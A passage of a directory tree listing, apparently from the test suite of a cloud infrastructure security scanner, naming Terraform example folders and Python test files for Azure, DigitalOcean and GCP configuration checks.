│ │ ├── example_SQLServerNoPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SignalRSKUSLA/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SpringCloudAPIPortalHTTPSOnly/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SpringCloudAPIPortalPublicAccessIsDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageAccountDefaultNetworkAccessDeny/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageAccountDisablePublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageAccountName/ │ │ │ │ │ ├── azurecaf.tf │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageAccountsTransportEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageAccountsUseReplication/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageBlobRestrictPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageLocalUsers/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StorageSyncServicePermissiveAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SynapseSQLPoolDataEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SynapseWorkspaceAdministratorLoginPasswordHidden/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SynapseWorkspaceCMKEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SynapseWorkspaceEnablesDataExfilProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VMAgentIsInstalled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VMCredsInCustomData/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VMDisablePasswordAuthentication/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VMDiskWithPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VMStorageOsDisk/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VnetLocalDNS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VnetSingleDNSServer/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WinVMAutomaticUpdates/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WinVMEncryptionAtHost/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_ACRAdminAccountDisabled.py │ │ │ │ ├── test_ACRAnonymousPullDisabled.py │ │ │ │ ├── test_ACRContainerScanEnabled.py │ │ │ │ ├── test_ACRDedicatedDataEndpointEnabled.py │ │ │ │ ├── test_ACREnableImageQuarantine.py │ │ │ │ ├── test_ACREnableRetentionPolicy.py │ │ │ │ ├── test_ACREnableZoneRedundancy.py │ │ │ │ ├── test_ACRGeoreplicated.py │ │ │ │ ├── test_ACRPublicNetworkAccessDisabled.py │ │ │ │ ├── test_ACRUseSignedImages.py │ │ │ │ ├── test_AKSApiServerAuthorizedIpRanges.py │ │ │ │ ├── test_AKSDashboardDisabled.py │ │ │ │ ├── test_AKSEnablesPrivateClusters.py │ │ │ │ ├── test_AKSEncryptionAtHostEnabled.py │ │ │ │ ├── test_AKSEphemeralOSDisks.py │ │ │ │ ├── test_AKSIsPaidSku.py │ │ │ │ ├── test_AKSLocalAdminDisabled.py │ │ │ │ ├── test_AKSLoggingEnabled.py │ │ │ │ ├── test_AKSMaxPodsMinimum.py │ │ │ │ ├── test_AKSNetworkPolicy.py │ │ │ │ ├── test_AKSNodePublicIpDisabled.py │ │ │ │ ├── test_AKSOnlyCriticalPodsOnSystemNodes.py │ │ │ │ ├── test_AKSPoolTypeIsScaleSet.py │ │ │ │ ├── test_AKSRbacEnabled.py │ │ │ │ ├── test_AKSSecretStoreRotation.py │ │ │ │ ├── test_AKSUpgradeChannel.py │ │ │ │ ├── test_AKSUsesAzurePoliciesAddon.py │ │ │ │ ├── test_AKSUsesDiskEncryptionSet.py │ │ │ │ ├── test_APIManagementBackendHTTPS.py │ │ │ │ ├── test_APIManagementCertsEnforced.py │ │ │ │ ├── test_APIManagementMinTLS12.py │ │ │ │ ├── test_APIManagementPublicAccess.py │ │ │ │ ├── test_APIServicesUseVirtualNetwork.py │ │ │ │ ├── test_ActiveDirectoryUsedAuthenticationServiceFabric.py │ │ │ │ ├── test_AppConfigEncryption.py │ │ │ │ ├── test_AppConfigLocalAuth.py │ │ │ │ ├── test_AppConfigPublicAccess.py │ │ │ │ ├── test_AppConfigPurgeProtection.py │ │ │ │ ├── test_AppConfigSku.py │ │ │ │ ├── test_AppGWDefinesSecureProtocols.py │ │ │ │ ├── test_AppGWUsesHttps.py │ │ │ │ ├── test_AppGatewayWAFACLCVE202144228.py │ │ │ │ ├── test_AppServiceAlwaysOn.py │ │ │ │ ├── test_AppServiceAuthentication.py │ │ │ │ ├── test_AppServiceClientCertificate.py │ │ │ │ ├── test_AppServiceDetailedErrorMessagesEnabled.py │ │ │ │ ├── test_AppServiceDisallowedCORS.py │ │ │ │ ├── test_AppServiceDotnetFrameworkVersion.py │ │ │ │ ├── test_AppServiceEnableFailedRequest.py │ │ │ │ ├── test_AppServiceEnvironmentZoneRedundant.py │ │ │ │ ├── test_AppServiceFTPSState.py │ │ │ │ ├── test_AppServiceHTTPSOnly.py │ │ │ │ ├── test_AppServiceHttpLoggingEnabled.py │ │ │ │ ├── test_AppServiceHttps20Enabled.py │ │ │ │ ├── test_AppServiceIdentity.py │ │ │ │ ├── test_AppServiceIdentityProviderEnabled.py │ │ │ │ ├── test_AppServiceInstanceMinimum.py │ │ │ │ ├── test_AppServiceJavaVersion.py │ │ │ │ ├── test_AppServiceMinTLSVersion.py │ │ │ │ ├── test_AppServicePHPVersion.py │ │ │ │ ├── test_AppServicePlanZoneRedundant.py │ │ │ │ ├── test_AppServicePublicAccessDisabled.py │ │ │ │ ├── test_AppServicePythonVersion.py │ │ │ │ ├── test_AppServiceRemoteDebuggingNotEnabled.py │ │ │ │ ├── test_AppServiceSetHealthCheck.py │ │ │ │ ├── test_AppServiceSkuMinimum.py │ │ │ │ ├── test_AppServiceSlotDebugDisabled.py │ │ │ │ ├── test_AppServiceSlotHTTPSOnly.py │ │ │ │ ├── test_AppServiceSlotMinTLSVersion.py │ │ │ │ ├── test_AppServiceUsedAzureFiles.py │ │ │ │ ├── test_AutomationEncrypted.py │ │ │ │ ├── test_AzureBatchAccountEndpointAccessDefaultAction.py │ │ │ │ ├── test_AzureBatchAccountUsesKeyVaultEncryption.py │ │ │ │ ├── test_AzureContainerGroupDeployedIntoVirtualNetwork.py │ │ │ │ ├── test_AzureContainerInstanceEnvVarSecureValueType.py │ │ │ │ ├── test_AzureContainerInstancePublicIPAddressType.py │ │ │ │ ├── test_AzureDataExplorerDoubleEncryptionEnabled.py │ │ │ │ ├── test_AzureDefenderDisabledForResManager.py │ │ │ │ ├── test_AzureDefenderOnAppServices.py │ │ │ │ ├── test_AzureDefenderOnContainerRegistry.py │ │ │ │ ├── test_AzureDefenderOnKeyVaults.py │ │ │ │ ├── test_AzureDefenderOnKubernetes.py │ │ │ │ ├── test_AzureDefenderOnServers.py │ │ │ │ ├── test_AzureDefenderOnSqlServers.py │ │ │ │ ├── test_AzureDefenderOnSqlServersVMS.py │ │ │ │ ├── test_AzureDefenderOnStorage.py │ │ │ │ ├── test_AzureFirewallDefinesPolicy.py │ │ │ │ ├── test_AzureFirewallDenyThreatIntelMode.py │ │ │ │ ├── test_AzureFirewallPolicyIDPSDeny.py │ │ │ │ ├── test_AzureFrontDoorEnablesWAF.py │ │ │ │ ├── test_AzureInstanceExtensions.py │ │ │ │ ├── test_AzureInstancePassword.py │ │ │ │ ├── test_AzureManagedDiscEncryption.py │ │ │ │ ├── test_AzureManagedDiskEncryptionSet.py │ │ │ │ ├── test_AzureScaleSetPassword.py │ │ │ │ ├── test_AzureSearchAllowedIPsNotGlobal.py │ │ │ │ ├── test_AzureSearchManagedIdentity.py │ │ │ │ ├── test_AzureSearchPublicNetworkAccessDisabled.py │ │ │ │ ├── test_AzureSearchSLAIndex.py │ │ │ │ ├── test_AzureSearchSLAQueryUpdates.py │ │ │ │ ├── test_AzureServiceFabricClusterProtectionLevel.py │ │ │ │ ├── test_AzureServicebusDoubleEncryptionEnabled.py │ │ │ │ ├── test_AzureServicebusHasCMK.py │ │ │ │ ├── test_AzureServicebusIdentityProviderEnabled.py │ │ │ │ ├── test_AzureServicebusLocalAuthDisabled.py │ │ │ │ ├── test_AzureServicebusMinTLSVersion.py │ │ │ │ ├── test_AzureServicebusPublicAccessDisabled.py │ │ │ │ ├── test_AzureSparkPoolIsolatedComputeEnabled.py │ │ │ │ ├── test_CDNDisableHttpEndpoints.py │ │ │ │ ├── test_CDNEnableHttpsEndpoints.py │ │ │ │ ├── test_CDNTLSProtocol12.py │ │ │ │ ├── test_CognitiveServicesConfigureIdentity.py │ │ │ │ ├── test_CognitiveServicesDisablesPublicNetwork.py │ │ │ │ ├── test_CognitiveServicesEnableLocalAuth.py │ │ │ │ ├── test_CosmosDBAccountsRestrictedAccess.py │ │ │ │ ├── test_CosmosDBDisableAccessKeyWrite.py │ │ │ │ ├── test_CosmosDBDisablesPublicNetwork.py │ │ │ │ ├── test_CosmosDBHaveCMK.py │ │ │ │ ├── test_CosmosDBLocalAuthDisabled.py │ │ │ │ ├── test_CustomRoleDefinitionSubscriptionOwner.py │ │ │ │ ├── test_DataExplorerSKUHasSLA.py │ │ │ │ ├── test_DataExplorerServiceIdentity.py │ │ │ │ ├── test_DataExplorerUsesDiskEncryption.py │ │ │ │ ├── test_DataFactoryNoPublicNetworkAccess.py │ │ │ │ ├── test_DataFactoryUsesGitRepository.py │ │ │ │ ├── test_DataLakeStoreEncryption.py │ │ │ │ ├── test_DatabricksWorkspaceIsNotPublic.py │ │ │ │ ├── test_EventHubNamespaceMinTLS12.py │ │ │ │ ├── test_EventHubNamespaceZoneRedundant.py │ │ │ │ ├── test_EventgridDomainIdentityProviderEnabled.py │ │ │ │ ├── test_EventgridDomainLocalAuthentication.py │ │ │ │ ├── test_EventgridDomainNetworkAccess.py │ │ │ │ ├── test_EventgridTopicIdentityProviderEnabled.py │ │ │ │ ├── test_EventgridTopicLocalAuthentication.py │ │ │ │ ├── test_EventgridTopicNetworkAccess.py │ │ │ │ ├── test_FrontDoorWAFACLCVE202144228.py │ │ │ │ ├── test_FrontdoorUseWAFMode.py │ │ │ │ ├── test_FunctionAppDisallowCORS.py │ │ │ │ ├── test_FunctionAppEnableLogging.py │ │ │ │ ├── test_FunctionAppHttpVersionLatest.py │ │ │ │ ├── test_FunctionAppMinTLSVersion.py │ │ │ │ ├── test_FunctionAppPublicAccessDisabled.py │ │ │ │ ├── test_FunctionAppsAccessibleOverHttps.py │ │ │ │ ├── test_FunctionAppsEnableAuthentication.py │ │ │ │ ├── test_GithubActionsOIDCTrustPolicy.py │ │ │ │ ├── test_IoTNoPublicNetworkAccess.py │ │ │ │ ├── test_KeyBackedByHSM.py │ │ │ │ ├── test_KeyExpirationDate.py │ │ │ │ ├── test_KeyVaultDisablesPublicNetworkAccess.py │ │ │ │ ├── test_KeyVaultEnablesFirewallRulesSettings.py │ │ │ │ ├── test_KeyVaultEnablesPurgeProtection.py │ │ │ │ ├── test_KeyVaultEnablesSoftDelete.py │ │ │ │ ├── test_KeyVaultRecoveryEnabled.py │ │ │ │ ├── test_KubernetesClusterHTTPApplicationRouting.py │ │ │ │ ├── test_LinuxVMUsesSSH.py │ │ │ │ ├── test_MLCCLADisabled.py │ │ │ │ ├── test_MLComputeClusterMinNodes.py │ │ │ │ ├── test_MLPublicAccess.py │ │ │ │ ├── test_MSSQLServerAuditPolicyLogMonitor.py │ │ │ │ ├── test_MSSQLServerMinTLSVersion.py │ │ │ │ ├── test_MariaDBGeoBackupEnabled.py │ │ │ │ ├── test_MariaDBPublicAccessDisabled.py │ │ │ │ ├── test_MariaDBSSLEnforcementEnabled.py │ │ │ │ ├── test_MonitorLogProfileCategories.py │ │ │ │ ├── test_MonitorLogProfileRetentionDays.py │ │ │ │ ├── test_MySQLEncryptionEnabled.py │ │ │ │ ├── test_MySQLGeoBackupEnabled.py │ │ │ │ ├── test_MySQLPublicAccessDisabled.py │ │ │ │ ├── test_MySQLServerMinTLSVersion.py │ │ │ │ ├── test_MySQLServerSSLEnforcementEnabled.py │ │ │ │ ├── test_MySQLTreatDetectionEnabled.py │ │ │ │ ├── test_NSGRuleHTTPAccessRestricted.py │ │ │ │ ├── test_NSGRuleRDPAccessRestricted.py │ │ │ │ ├── test_NSGRuleSSHAccessRestricted.py │ │ │ │ ├── test_NSGRuleUDPAccessRestricted.py │ │ │ │ ├── test_NetworkInterfaceEnableIPForwarding.py │ │ │ │ ├── test_NetworkWatcherFlowLogPeriod.py │ │ │ │ ├── test_OpenAICognitiveServicesRestrictedOutboundNetwork.py │ │ │ │ ├── test_PostgreSQLEncryptionEnabled.py │ │ │ │ ├── test_PostgreSQLFlexiServerGeoBackupEnabled.py │ │ │ │ ├── test_PostgreSQLMinTLSVersion.py │ │ │ │ ├── test_PostgreSQLServerConnectionThrottlingEnabled.py │ │ │ │ ├── test_PostgreSQLServerLogCheckpointEnabled.py │ │ │ │ ├── test_PostgreSQLServerLogConnectionsEnabled.py │ │ │ │ ├── test_PostgreSQLServerLogRetentionEnabled.py │ │ │ │ ├── test_PostgreSQLServerPublicAccessDisabled.py │ │ │ │ ├── test_PostgreSQLServerSSLEnforcementEnabled.py │ │ │ │ ├── test_PostgresSQLGeoBackupEnabled.py │ │ │ │ ├── test_PostgresSQLTreatDetectionEnabled.py │ │ │ │ ├── test_PubsubSKUSLA.py │ │ │ │ ├── test_PubsubSpecifyIdentity.py │ │ │ │ ├── test_RedisCacheEnableNonSSLPort.py │ │ │ │ ├── test_RedisCacheMinTLSVersion.py │ │ │ │ ├── test_RedisCachePublicNetworkAccessEnabled.py │ │ │ │ ├── test_RedisCacheStandardReplicationEnabled.py │ │ │ │ ├── test_SQLDatabaseLedgerEnabled.py │ │ │ │ ├── test_SQLDatabaseZoneRedundant.py │ │ │ │ ├── test_SQLServerEmailAlertsEnabled.py │ │ │ │ ├── test_SQLServerEmailAlertsToAdminsEnabled.py │ │ │ │ ├── test_SQLServerNoPublicAccess.py │ │ │ │ ├── test_SQLServerPublicAccessDisabled.py │ │ │ │ ├── test_SQLServerThreatDetectionTypes.py │ │ │ │ ├── test_SecretContentType.py │ │ │ │ ├── test_SecretExpirationDate.py │ │ │ │ ├── test_SecurityCenterContactEmails.py │ │ │ │ ├── test_SecurityCenterContactPhone.py │ │ │ │ ├── test_SecurityCenterEmailAlert.py │ │ │ │ ├── test_SecurityCenterEmailAlertAdmins.py │ │ │ │ ├── test_SecurityCenterStandardPricing.py │ │ │ │ ├── test_SignalRSJUSLA.py │ │ │ │ ├── test_SpringCloudAPIPortalHTTPSOnly.py │ │ │ │ ├── test_SpringCloudAPIPortalPublicAccessIsDisabled.py │ │ │ │ ├── test_StorageAccountAzureServicesAccessEnabled.py │ │ │ │ ├── test_StorageAccountDefaultNetworkAccessDeny.py │ │ │ │ ├── test_StorageAccountDisablePublicAccess.py │ │ │ │ ├── test_StorageAccountLoggingQueueServiceEnabled.py │ │ │ │ ├── test_StorageAccountMinimumTlsVersion.py │ │ │ │ ├── test_StorageAccountName.py │ │ │ │ ├── test_StorageAccountsTransportEncryption.py │ │ │ │ ├── test_StorageAccountsUseReplication.py │ │ │ │ ├── test_StorageBlobRestrictPublicAccess.py │ │ │ │ ├── test_StorageBlobServiceContainerPrivateAccess.py │ │ │ │ ├── test_StorageLocalUsers.py │ │ │ │ ├── test_StorageSyncPublicAccessDisabled.py │ │ │ │ ├── test_StorageSyncServicePermissiveAccess.py │ │ │ │ ├── test_SynapseSQLPoolDataEncryption.py │ │ │ │ ├── test_SynapseWorkspaceAdministratorLoginPasswordHidden.py │ │ │ │ ├── test_SynapseWorkspaceCMKEncryption.py │ │ │ │ ├── test_SynapseWorkspaceEnablesDataExfilProtection.py │ │ │ │ ├── test_SynapseWorkspaceEnablesManagedVirtualNetworks.py │ │ │ │ ├── test_VMAgentIsInstalled.py │ │ │ │ ├── test_VMCredsInCustomData.py │ │ │ │ ├── test_VMDisablePasswordAuthentication.py │ │ │ │ ├── test_VMDiskWithPublicAccess.py │ │ │ │ ├── test_VMEncryptionAtHostEnabled.py │ │ │ │ ├── test_VMScaleSetsAutoOSImagePatchingEnabled.py │ │ │ │ ├── test_VMStorageOsDisk.py │ │ │ │ ├── test_VnetLocalDNS.py │ │ │ │ ├── test_VnetSingleDNSServer.py │ │ │ │ ├── test_WAFSpecifiedModeAppGW.py │ │ │ │ ├── test_WinVMAutomaticUpdates.py │ │ │ │ └── test_WinVMEncryptionAtHost.py │ │ │ ├── digitalocean/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_DropletSSHKeys/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FirewallIngressOpen/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SpaceBucketPublicRead/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SpaceBucketVersioning/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_DropletSSHKeys.py │ │ │ │ ├── test_FirewallIngressOpen.py │ │ │ │ ├── test_SpaceBucketPublicRead.py │ │ │ │ └── test_SpaceBucketVersioning.py │ │ │ ├── gcp/ │ │ │ │ ├── __init__.py │ │ │ │ ├── example_ArtifactRegistryEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ArtifactRegistryPrivateRepo/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BigQueryDatasetEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BigQueryPrivateTable/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BigQueryTableDeletionProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BigQueryTableEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BigTableInstanceDeletionProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BigTableInstanceEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudArmorWAFACLCVE202144228/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudBuildWorkersArePrivate/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudFunctionPermissiveIngress/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudFunctionsShouldNotBePublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudMySqlLocalInfileOff/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudPostgreSQLLogDisconnection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudPostgreSQLLogMinMessage/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudPostgreSQLLogTemp/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudPostgreSqlLogLockWaits/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudPostgreSqlLogMinDuration/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudPostgreSqlLogStatement/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudPubSubEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudSQLServerContainerDBAuthentication/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudSQLServerCrossDBOwnershipChaining/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudSQLServerNoPublicIP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudSqlMajorVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudStorageSelfLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudStorageVersioningEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataFusionPrivateInstance/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataFusionStackdriverLogs/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataFusionStackdriverMonitoring/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataflowJobEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataflowPrivateJob/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataprocClusterEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataprocPrivateCluster/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DataprocPublicIpCluster/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GCPCloudRunPrivateService/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GKEDontUseNodePools/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GKENetworkPolicyEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GKEPodSecurityPolicyEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GKEUseCosImage/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GithubActionsOIDCTrustPolicy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleBigQueryDatasetPublicACL/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleCloudPostgreSqlEnablePgaudit/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleCloudPostgreSqlLogCheckpoints/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleCloudPostgreSqlLogConnection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleCloudPostgreSqlLogHostname/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleCloudPostgreSqlLogMinErrorStatement/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleCloudSqlDatabasePubliclyAccessible/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeBootDiskEncryption/ │ │ │ │ │ ├── bad.json │ │ │ │ │ └── example1.tf │ │ │ │ ├── example_GoogleComputeDefaultServiceAccount/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeDefaultServiceAccountFullAccess/ │ │ │ │ │ ├── bad.json │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeExternalIP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeFirewallUnrestrictedIngress20/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeFirewallUnrestrictedIngress21/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeFirewallUnrestrictedIngress22/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeFirewallUnrestrictedIngress3306/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeFirewallUnrestrictedIngress80/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleComputeProjectOSLogin/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleFolderBasicRole/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleIAMWorkloadIdentityConditional/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleKMSKeyIsPublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleKMSPreventDestroy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleKMSRotationPeriod/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleOrgBasicRole/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleProjectBasicRole/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleStorageBucketUniformAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleStoragePublicAccessPrevention/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleSubnetworkIPV6PrivateGoogleEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleSubnetworkLoggingEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleSubnetworkPrivateGoogleEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GoogleVertexAINotebookShieldedVM/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MemorystoreForRedisAuthEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MemorystoreForRedisInTransitEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_PubSubPrivateTopic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SpannerDatabaseDeletionProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SpannerDatabaseDropProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SpannerDatabaseEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VertexAIDatasetEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VertexAIMetadataStoreEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VertexAINotebookEnsureIntegrityMonitoring/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_VertexAIPrivateInstance/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_ArtifactRegistryEncryptedWithCMK.py │ │ │ │ ├── test_ArtifactRegistryPrivateRepo.py │ │ │ │ ├── test_BigQueryDatasetEncryptedWithCMK.py │ │ │ │ ├── test_BigQueryPrivateTable.py │ │ │ │ ├── test_BigQueryTableDeletionProtection.py │ │ │ │ ├── test_BigQueryTableEncryptedWithCMK.py │ │ │ │ ├── test_BigTableInstanceDeletionProtection.py │ │ │ │ ├── test_BigTableInstanceEncryptedWithCMK.py │ │ │ │ ├── test_CloudArmorWAFACLCVE202144228.py │ │ │ │ ├── test_CloudBuildWorkerArePrivate.py │ │ │ │ ├── test_CloudFunctionPermissiveIngress.py │ │ │ │ ├── test_CloudFunctionsShouldNotbePublic.py │ │ │ │ ├── test_CloudPubSubEncryptedWithCMK.py │ │ │ │ ├── test_CloudSqlMajorVersion.py │ │ │ │ ├── test_CloudStorageLogging.py │ │ │ │ ├── test_CloudStorageSelfLogging.py │ │ │ │ ├── test_DataFusionPrivateInstance.py │ │ │ │ ├── test_DataFusionStackdriverLogs.py │ │ │ │ ├── test_DataFusionStackdriverMonitoring.py │ │ │ │ ├── test_DataflowJobEncryptedWithCMK.py │ │ │ │ ├── test_DataflowPrivateJob.py │ │ │ │ ├── test_DataprocClusterEncryptedWithCMK.py │ │ │ │ ├── test_DataprocPrivateCluster.py │ │ │ │ ├── test_DataprocPublicIpCluster.py │ │ │ │ ├── test_GCPCloudRunPrivateService.py │ │ │ │ ├── test_GKEAliasIpEnabled.py │ │ │ │ ├── test_GKEBinaryAuthorization/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKEBinaryAuthorization.py │ │ │ │ ├── test_GKEClientCertificateDisabled.py │ │ │ │ ├── test_GKEClusterLogging.py │ │ │ │ ├── test_GKEDisableLegacyAuth.py │ │ │ │ ├── test_GKEDontUseNodePools.py │ │ │ │ ├── test_GKEEnableShieldedNodes/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKEEnableShieldedNodes.py │ │ │ │ ├── test_GKEEnableVPCFlowLogs/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKEEnableVPCFlowLogs.py │ │ │ │ ├── test_GKEEnsureIntegrityMonitoring/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKEEnsureIntegrityMonitoring.py │ │ │ │ ├── test_GKEHasLabels.py │ │ │ │ ├── test_GKEKubernetesRBACGoogleGroups/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKEKubernetesRBACGoogleGroups.py │ │ │ │ ├── test_GKEMasterAuthorizedNetworksEnabled.py │ │ │ │ ├── test_GKEMetadataServerIsEnabled.py │ │ │ │ ├── test_GKEMetadataServerisEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKEMonitoringEnabled.py │ │ │ │ ├── test_GKENetworkPolicyEnabled.py │ │ │ │ ├── test_GKENodePoolAutoRepairEnabled.py │ │ │ │ ├── test_GKENodePoolAutoUpgradeEnabled.py │ │ │ │ ├── test_GKEPodSecurityPolicyEnabled.py │ │ │ │ ├── test_GKEPrivateClusterConfig.py │ │ │ │ ├── test_GKEPrivateNodes/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKEPrivateNodes.py │ │ │ │ ├── test_GKEPublicControlPlane.py │ │ │ │ ├── test_GKEReleaseChannel/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKEReleaseChannel.py │ │ │ │ ├── test_GKESecureBootforShieldedNodes/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GKESecureBootforShieldedNodes.py │ │ │ │ ├── test_GKEUseCosImage.py │ │ │ │ ├── test_GithubActionsOIDCTrustPolicy.py │ │ │ │ ├── test_GoogleBigQueryDatasetPublicACL.py │ │ │ │ ├── test_GoogleCloudDNSKeySpecsRSASHA1.py │ │ │ │ ├── test_GoogleCloudDNSSECEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_GoogleCloudDNSSECEnabled.py │ │ │ │ ├── test_GoogleCloudMySqlLocalInfileOff.py │ │ │ │ ├── test_GoogleCloudPostgreSqlEnablePgaudit.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogCheckpoints.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogConnection.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogDisconnection.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogHostname.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogLockWaits.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogMinDuration.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogMinErrorStatement.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogMinMessage.py │ │ │ │ ├── test_GoogleCloudPostgreSqlLogStatement.py │ │ │ │ ├── 